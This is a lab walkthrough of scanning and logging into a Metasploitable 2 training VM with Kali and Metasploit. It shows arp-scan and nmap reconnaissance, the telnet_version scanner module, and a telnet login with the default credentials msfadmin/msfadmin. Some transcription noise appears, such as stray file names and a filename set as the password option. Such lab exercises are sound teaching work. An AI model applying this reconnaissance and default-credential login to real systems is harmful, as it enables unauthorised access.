

# Exploit Telnet con Metasploit

```
(kali㉿kali)-[~]
$ sudo msfconsole
[sudo] password for kali:
Metasploit tip: Metasploit can be configured at startup, see msfconsole
--help to learn more

File System  verbi2.py  bonus2.py  < HONK >
Visual Studi...  verbi.py  bonus3.py
Codici C  verbi_ok.py  bonus4.py  dos.py
          bonus5.py

=[ metasploit v6.4.9-dev
+ -- ==[ 2420 exploits - 1248 auxiliary - 423 post
+ -- ==[ 1465 payloads - 47 encoders - 11 nops
+ -- ==[ 9 evasion

Metasploit Documentation: https://docs.metasploit.com/
```

```
msf6 > arp-scan 192.168.50.0/24
[*] exec: arp-scan 192.168.50.0/24

Interface: eth0, type: EN10MB, MAC: 08:00:27:d2:26:79, IPv4: 192.168.50.100
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.50.1    08:00:27:ff:e7:03    (Unknown)
192.168.50.101 08:00:27:c1:3a:ba    (Unknown)
192.168.50.102 08:00:27:2f:c9:77    (Unknown)

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.088 seconds (122.61 hosts/sec)
). 3 responded
```

```

msf6 > nmap -sV 192.168.50.101
[*] exec: nmap -sV 192.168.50.101

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-24 08:57 EDT
Nmap scan report for 192.168.50.101
Host is up (0.0036s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:C1:3A:BA (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OS
s: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://
nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.46 seconds

```

```

msf6 > search telnet_version

Matching Modules
=====
#  Name                                     Disclosure Date  Ra
nk Check Description
--
0  auxiliary/scanner/telnet/lantronix_telnet_version .          no
rmal No Lantronix Telnet Service Banner Detection
1  auxiliary/scanner/telnet_telnet_version .          no
rmal No Telnet Service Banner Detection

Interact with a module by name or index. For example info 1, use 1 or use au
xiliary/scanner/telnet/telnet_version

msf6 > use 1

```

```
msf6 auxiliary(scanner/telnet/telnet_version) > options
```

Module options (auxiliary/scanner/telnet/telnet\_version):

Name	Current Setting	Required	Description
PASSWORD	verb13.py	no	The password for the specified username
RHOSTS		yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit.html</a>
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhost 192.168.50.101
rhost => 192.168.50.101
```

```
msf6 auxiliary(scanner/telnet/telnet_version) > run
```

```
[+] 192.168.50.101:23 - 192.168.50.101:23 TELNET
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: msfadmin
Password:
Last login: Tue Sep 24 04:05:30 EDT 2024 from 192.168.50.100 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

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the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

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applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
```